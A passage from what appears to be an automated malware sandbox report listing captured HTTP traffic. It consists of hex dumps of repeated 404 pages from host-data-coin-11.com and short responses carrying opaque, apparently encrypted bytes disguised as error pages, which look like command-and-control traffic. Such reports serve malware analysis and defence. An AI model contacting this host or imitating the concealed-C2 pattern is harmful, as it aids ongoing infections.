65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 0f 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 14 Jan 2022 03:59:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 